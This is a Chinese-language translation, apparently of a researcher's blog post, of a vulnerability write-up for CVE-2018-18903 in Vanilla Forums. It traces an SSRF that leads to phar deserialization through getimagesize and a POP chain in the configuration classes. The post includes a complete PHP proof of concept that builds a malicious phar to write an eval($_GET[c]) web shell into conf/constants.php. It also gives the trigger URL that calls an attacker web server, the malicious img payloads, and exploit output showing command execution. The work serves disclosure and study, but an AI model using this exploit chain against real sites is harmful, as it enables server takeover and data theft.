Vanilla论坛利用getimagesize进行phar反序列化导致RCE

岁月匆匆 / 2018-11-09 09:00:00 / 浏览数 2953 技术文章 技术文章 顶(0) 踩(0)

翻译地址: https://srcincite.io/blog/2018/10/02/old-school-pwning-with-new-school-tricks-vanilla-forums-remote-code-execution.html

标题实在太长了，所以转换的翻译了一下。
看点：最近出现大量关于phar反序列化包含的相关分析文章，这篇算是较为精彩。其中提出的上传的临时文件或者使用/proc/self/fd觉得是亮点。另外对于phar的真实案例

我在漏洞悬赏项目已经有一段时间了，所以我最近决定开始研究一些厂商的特殊悬赏。对我来说这是一次艰难而又重大的决定，因为我是一个比较传统守旧的人，我记得有

我将介绍CVE-2018-18903的发现和利用，这是一个未经验证的反序列化漏洞，可用于远程代码执行。Vanilla没有提供CVE，并声明此报告在不提供commit的情况下就能得

Security update: Vanilla 2.6.4

Linc •Director of Development •Detroit •Vanilla Staff
October 29 edited October 31 in Releases

Get it here: https://open.vanillaforums.com/addon/vanilla-core

This release includes 5 security patches disclosed thru our HackerOne bounty campaign. They include fixes for:

- A remote code execution exploitable only by admins.
- Two XSS vectors in different parts of the Dashboard.
- An XSS vector in the OpenID addon (must be enabled) caused by old debug code.

介绍

Vanilla论坛的源码可以从他们的git仓库上获取，所以我简单的从github上克隆了一份，并且在最新版的Ubuntu服务器上进行了composer install。

现在有这么多的网站在相互竞争，一个成功的社区必须积极鼓励和奖励会员的参与。Vanilla为希望改善客户服务，增加宣传和加强品牌忠诚度的组织提供了一个现代化的社

下面就让我们来讨论下客户服务...

漏洞的发现

审计了好几天的源码之后，在library/core/functions.general.php文件的DashboardController控制器中发现了一个有趣的函数，它能够被未授权访问

```
class ImportController extends DashboardController {

   ...

   function fetchPageInfo($url, $timeout = 3, $sendCookies = false, $includeMedia = false) {      // 0
       $pageInfo = [
           'Url' => $url,
           'Title' => '',
           'Description' => '',
           'Images' => [],
           'Exception' => false
       ];

       try {
           // Make sure the URL is valid.
           $urlParts = parse_url($url);
           if ($urlParts === false || !in_array(val('scheme', $urlParts), ['http', 'https'])) {
               throw new Exception('Invalid URL.', 400);
           }

           $request = new ProxyRequest();
           $pageHtml = $request->request([
               'URL' => $url,
               'Timeout' => $timeout,
               'Cookies' => $sendCookies,
               'Redirects' => true,
```

```
        ]);                                                                                 // 1

        if (!$request->status()) {
            throw new Exception('Couldn\'t connect to host.', 400);
        }

        $dom = pQuery::parseStr($pageHtml);                                                 // 2
        if (!$dom) {
            throw new Exception('Failed to load page for parsing.');
        }

        ...

        // Page Images
        if (count($pageInfo['Images']) == 0) {
            $images = domGetImages($dom, $url);                                             // 3
            $pageInfo['Images'] = array_values($images);
        }
```

在 //0 处，我们通过构造一个get请求进入方法，然后在
//1处，我们可以利用进入fetchPageInfo方法中的$url变量去触发SSRF。当然这本身就是一个非常有趣的发现，我向厂商报告了该漏洞，但被作为重复被关闭。当然这个问

然后我们在 //2处，代码使用pQuery类将页面响应内容进行解析，然后进入dom变量。

最后，在 //3处，代码调用了domGetImages方法，
其中参数$url和$dom是包含了web服务器响应的二维数组变量。继续观察library/core/functions.general.php我们可以发现如下的代码：

```
function domGetImages($dom, $url, $maxImages = 4) {
       $images = [];
       foreach ($dom->query('img') as $element) {                                   // 4
           $images[] = [
               'Src' => absoluteSource($element->attr('src'), $url),                // 5
               'Width' => $element->attr('width'),
               'Height' => $element->attr('height'),
           ];
       }
       ...
```

在 //4 处，代码在$dom变量中寻找一个html的<img>标签，接着在 //5处，通过调用absoluteSource方法将攻击者可控的src属性赋值给二维数组变量
$images。让我们来检验下这个方法是否有用：

```
function absoluteSource($srcPath, $url) {
       // If there is a scheme in the srcpath already, just return it.
       if (!is_null(parse_url($srcPath, PHP_URL_SCHEME))) {                 // 6
           return $srcPath;                                                 // 7
       }
   ...
   }
```

在 //6处，代码利用 parse_url解析了攻击者可控的$srcPath，然后如果scheme不为空的话在//7 处就返回
$srcPath变量。现在返回到domGetImages方法，我们会发现：

```
function domGetImages($dom, $url, $maxImages = 4) {

       ...

       // Sort by size, biggest one first
       $imageSort = [];
       // Only look at first 4 images (speed!)
       $i = 0;
       foreach ($images as $imageInfo) {
           $image = $imageInfo['Src'];                                          // 8

           if (strpos($image, 'doubleclick.') != false) {
               continue;
           }

           try {
               if ($imageInfo['Height'] && $imageInfo['Width']) {
                   $height = $imageInfo['Height'];
```

```
                $width = $imageInfo['Width'];
            } else {
                list($width, $height) = getimagesize($image);                       // 9
            }
```

一个循环会遍历所有可能的图片，在//8 处，代码会从二维数组变量中提取src值赋给变量$image。
最后在 //9处，如果在<img>标签中，height和width属性没有被设置的话，代码就会在完全可控的路径上尝试调用getimagesize
方法，这就导致了远程代码执行。

漏洞利用

早在Sam Thomas写BLACKHAT PAPER之前， @orange_8361曾分享过一个在phar文件中触发反序列化的技术。
在这我并不打算深挖phar或者讲解这个技术的原理，因为网络上其他人已经详细的介绍过了。但实际上，我们可以利用非实例化类来设置phar文件的元数据。

```
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```

在这个新创建的文件中，只要我们能控制整个字符串，我们就利用任何文件操作去触发__destruct的调用。

```
class AnyClass {
   function __destruct() {
       echo $this->data;
   }
}
// output: rips
include('phar://test.phar');
```

代码的意思就是，如果我们可以执行getimagesize('phar://some/phar.ext');
那么我们就能调用__destruct去做一些意想不到的事……

但是在这个关键点上我们还有一些问题需要解决：
1：Phar 上传: 我们需要在目标系统上上传一个phar文件。
2：POP chain:我们需要找到一个php pop chain，用于远程代码执行。

Phar 上传

有好几种方法可以做到Sam
Thomas所概述的东西，例如使用php的竞争条件和phpinfo其中你可以泄漏已经上传的临时文件或者使用/proc/self/fd。我测试过这种方法确实是可行的（至少在以下

1：如果目标系统是Windows，那就使用远程共享。phar:////attacker/share/test.phar/.jpg
2：如果目标系统是unix，如果网站没有做文件内容的检查的话你仍然可以利用文件上传漏洞。当然还需要泄漏文件路径。

POP chain

对于POP chain我有好几种选择，但是最后还是决定使用library/core/class.configuration.php中的Gdn_Configuration类。

```
class Gdn_Configuration extends Gdn_Pluggable {

   ...

   public function shutdown() {
       foreach ($this->sources as $source) {       // 2
           $source->shutdown();                    // 3
       }
   }

   ...

   public function __destruct() {
       if ($this->autoSave) {                      // 0
           $this->shutdown();                      // 1
```

```
        }
    }
}
```

在 //0和 //1处，如果我们设置了autoSave 属性，那我们就能调用shutdown方法。在 //2和 //3
处，我们可以通过我们指定的另一个类来调用shutdown方法。我决定使用包含这个方法的类而不是使用魔术方法__call。

在 library/core/class.configurationsource.php 中，我们可以看到如下代码：

```
class Gdn_ConfigurationSource extends Gdn_Pluggable {

    ...

    /**
     * Save the config.
     *
     * @return bool|null Returns **null** of the config doesn't need to be saved or a bool indicating success.
     * @throws Exception Throws an exception if something goes wrong while saving.
     */
    public function save() {
        if (!$this->Dirty) {
            return null;
        }

        ...

        switch ($this->Type) {                                                                  // 6
            case 'file':
                if (empty($this->Source)) {
                    trigger_error(errorMessage('You must specify a file path to be saved.', 'Configuration', 'Save'), E_USER_ER
                }
                $checkWrite = $this->Source;
                if (!file_exists($checkWrite)) {
                    $checkWrite = dirname($checkWrite);
                }
                if (!is_writable($checkWrite)) {
                    throw new Exception(sprintf(t("Unable to write to config file '%s' when saving."), $this->Source));
                }
                $group = $this->Group;                                                          // 7
                $data = &$this->Settings;
                if ($this->Configuration) {
                    ksort($data, $this->Configuration->getSortFlag());
                }
                // Check for the case when the configuration is the group.
                if (is_array($data) && count($data) == 1 && array_key_exists($group, $data)) {
                    $data = $data[$group];
                }
                // Do a sanity check on the config save.
                if ($this->Source == Gdn::config()->defaultPath()) {
                    // Log root config changes
                    try {
                        $logData = $this->Initial;
                        $logData['_New'] = $this->Settings;
                        LogModel::insert('Edit', 'Configuration', $logData);
                    } catch (Exception $ex) {
                    }
                    if (!isset($data['Database'])) {
                        if ($pm = Gdn::pluginManager()) {
                            $pm->EventArguments['Data'] = $data;
                            $pm->EventArguments['Backtrace'] = debug_backtrace();
                            $pm->fireEvent('ConfigError');
                        }
                        return false;
                    }
                }
                $options = [
                    'VariableName' => $group,                                                   // 8
                    'WrapPHP' => true,
                    'ByLine' => true
                ];
```

```
            if ($this->Configuration) {
                $options = array_merge($options, $this->Configuration->getFormatOptions());
            }
            // Write config data to string format, ready for saving
            $fileContents = Gdn_Configuration::format($data, $options);                         // 9
            if ($fileContents === false) {
                trigger_error(errorMessage('Failed to define configuration file contents.', 'Configuration', 'Save'), E_USE
            }
            // Save to cache if we're into that sort of thing
            $fileKey = sprintf(Gdn_Configuration::CONFIG_FILE_CACHE_KEY, $this->Source);
            if ($this->Configuration && $this->Configuration->caching() && Gdn::cache()->type() == Gdn_Cache::CACHE_TYPE_ME
                $cachedConfigData = Gdn::cache()->store($fileKey, $data, [
                    Gdn_Cache::FEATURE_NOPREFIX => true,
                    Gdn_Cache::FEATURE_EXPIRY => 3600
                ]);
            }
            $tmpFile = tempnam(PATH_CONF, 'config');
            $result = false;
            if (file_put_contents($tmpFile, $fileContents) !== false) {                         // 14
                chmod($tmpFile, 0775);
                $result = rename($tmpFile, $this->Source);                                      // 15
            }

            ...

            $this->Dirty = false;
            return $result;
            break;
        ...

    }

    ...

    public function shutdown() {
        if ($this->Dirty) {                     // 4
            $this->save();                      // 5
        }
    }
}
```

这段代码需要我们去仔细体会，对我来说也有一定难度。在 //4和 //5处，我们可以调用save方法。然后在
//6处，如果我们的Type是设置正确的话，我们就可以进入'file'的switch模块中。在 //7处，我们可以利用Group属性来设置$group。在
//8处，我们使用的$group是$option中的一个二维数组变量。//9处的代码非常有意思，使用options和data参数来调用Gdn_Configuration::format方法，而这两个参数我

好现在我们来检查下Gdn_Configuration 类中的 format 方法：

```
class Gdn_Configuration extends Gdn_Pluggable {

    ...

    public static function format($data, $options = []) {
        if (is_string($options)) {
            $options = ['VariableName' => $options];
        }
        $defaults = [
            'VariableName' => 'Configuration',
            'WrapPHP' => true,
            'SafePHP' => true,
            'Headings' => true,
            'ByLine' => true,
            'FormatStyle' => 'Array'
        ];
        $options = array_merge($defaults, $options);
        $variableName = val('VariableName', $options);                                  // 10
        $wrapPHP = val('WrapPHP', $options, true);
        $safePHP = val('SafePHP', $options, true);
        $byLine = val('ByLine', $options, false);
        $headings = val('Headings', $options, true);
        $formatStyle = val('FormatStyle', $options);
```

```
        $formatter = "Format{$formatStyle}Assignment";
        $firstLine = '';
        $lines = [];
        if ($wrapPHP) {
            $firstLine .= "<?php ";
        }
        if ($safePHP) {
            $firstLine .= "if (!defined('APPLICATION')) exit();";                       // 11
        }
        if (!empty($firstLine)) {
            $lines[] = $firstLine;
        }
        if (!is_array($data)) {
            return $lines[0];
        }
        $lastKey = false;
        foreach ($data as $key => $value) {
            if ($headings && $lastKey != $key && is_array($value)) {
                $lines[] = '';
                self::formatComment($key, $lines);
                $lastKey = $key;
            }
            if ($formatStyle == 'Array') {
                $prefix = '$'.$variableName."[".var_export($key, true)."]";             // 12
            }
            if ($formatStyle == 'Dotted') {
                $prefix = '$'.$variableName."['".trim(var_export($key, true), "'");     // 13
            }
            $formatter($lines, $prefix, $value);
        }
        if ($byLine) {
            $session = Gdn::session();
            $user = $session->UserID > 0 && is_object($session->User) ? $session->User->Name : 'Unknown';
            $lines[] = '';
            self::formatComment('Last edited by '.$user.' ('.remoteIp().') '.Gdn_Format::toDateTime(), $lines);
        }
        $result = implode(PHP_EOL, $lines);
        return $result;
    }

    ...
}
```

在 //10处，我们可以控制$variableName因为他是从我们的Group属性得来的。然后在
//11处，有一段exit代码导致PHP退出，这个十分关键，当然只是暂时的障碍，我会展示如何绕过它。在 //12和
//13处，我们可以控制正在生成的PHP代码，实际上该函数的作用是使用我们可控的属性来动态构建PHP配置文件。

回到save函数，我们可以看到在 //14处，内容被写入了一个临时文件。最后在 //15处，，代码通过我们可控的Source属性将临时文件重命名为指定的filename。
我们重新看下这段代码：

```
if (file_put_contents($tmpFile, $fileContents) !== false) {       // 14
                    chmod($tmpFile, 0775);
                    $result = rename($tmpFile, $this->Source);                    // 15
                }
```

利用精心设计的payload，我们可以创建如下的文件内容：

```
<?php if (!defined('APPLICATION')) exit();
$a=eval($_GET[c]);//[''] = '';

// Last edited by Unknown (172.16.175.1)2018-09-16 00:59:01
```

现在，即使有exit，我们也可以简单的通过覆盖conf/config.php
文件来绕过。当然这个文件理论上来说是可写的（因为管理员需要做一些配置的更改）。在我最后一次利用利用过程中，我想确保不会损害整体的应用，所以我选择重写co
文件，使我的利用悄无声息干净利落。这种方法也是可行的，因为conf目录理论上来说也是可写的。

另一个我利用的原因就是这些文件在运行时就被包含在内，因此我成功的绕过了php exit。

如果你也已经做到了这一点，那么你确实值得得到一些exp代码。下面请注意，既然我们在__destruct方法的调用中，php无法获取服务器所在目录，所以对于constants.
我们不能就使用相对路径。你可能需要泄漏下路径：

```
// custom pop chain
class Gdn_ConfigurationSource{
   public function __construct(){
       $this->Type = "file";
       $this->Source = "/var/www/html/conf/constants.php";
       $this->Group = 'a=eval($_GET[c]);//';
       $this->Settings[""] = "";
       $this->Dirty = true;
       $this->ClassName = "Gdn_ConfigurationSource";
   }
}
class Gdn_Configuration {
   public $sources = [];
   public function __construct(){
       $this->sources['si'] = new Gdn_ConfigurationSource();
   }
}

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// add our object as meta data
$phar->setMetadata(new Gdn_Configuration());
$phar->stopBuffering();

// we rename it now
rename("poc.phar", "poc.jpg");
```

接下来我们只需要做如下，就能触发漏洞：

```
http://target/index.php?p=/dashboard/utility/fetchPageInfo/http:%2f%2f[attacker-web-server]:9090%2f
```

这里的URL编码对我们的漏洞利用至关重要。此时攻击者的web服务器响应如下：

```
<html><body><img src="phar:///var/www/html/uploads/6O51ZT69P0S4.jpg">a</img></body></html>
```

或者你是在windows机器上利用该漏洞
你可以执行如下：

```
<html><body><img src="phar:////attacker/share/test.phar">a</img></body></html>
```

我使用的这段EXP，Vanilla使用它们自己的代码上传了图片并且暴露了文件名。这是一个管理员级别的身份验证功能。但是这并不意味着这个漏洞被验证了。

下面是我EXP的输出内容：

```
saturn:~ mr_me$ ./poc.py 172.16.175.143 admin:admin123 172.16.175.1
(+) targeting: http://172.16.175.143
(+) logged in!
(+) uploaded phar!
(+) leaked phar name 6O51ZT69P0S4.jpg!
(+) starting http server...
(!) triggered callback for phar!
(+) triggered a write!
(+) shell at: http://172.16.175.143/?c=phpinfo();

saturn:~ mr_me$ curl -sSG "http://172.16.175.143/?c=system('id');"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

补丁

这个补丁非常有意思，因为开发者的测试案例也包含了对含有漏洞的方法的测试。所以也许有人可以开发自己的测试用例并绕过补丁。

```
$r = [
           'root' => ['/foo', 'http://ex.com/bar', 'http://ex.com/foo'],
           'relative' => ['bar', 'http://ex.com/foo', 'http://ex.com/foo/bar'],
           'relative slash' => ['bar', 'http://ex.com/foo/', 'http://ex.com/foo/bar'],
           'scheme' => ['https://ex.com', 'http://ex.com', 'https://ex.com'],
```

```
            'schema-less' => ['//ex.com', 'https://baz.com', 'https://ex.com'],
            'bad scheme' => ['bad://ex.com', 'http://ex.com', ''],
            'bad scheme 2' => ['foo', 'bad://ex.com', ''],
            '..' => ['../foo', 'http://ex.com/bar/baz', 'http://ex.com/bar/foo'],
            '.. 2' => ['../foo', 'http://ex.com/bar/baz/', 'http://ex.com/bar/foo'],
            '../..' => ['../../foo', 'http://ex.com/bar/baz', 'http://ex.com/foo'],
        ];
```

参考

https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
https://blog.ripstech.com/2018/new-php-exploitation-technique/
https://rdot.org/forum/showthread.php?t=4379

上一篇：SKREAM（二）:内存地址的随机分配 下一篇：SKREAM（二）:内存地址的随机分配

1. 1 条回复

niexinming 2018-11-20 21:40:02

马克

0 回复Ta
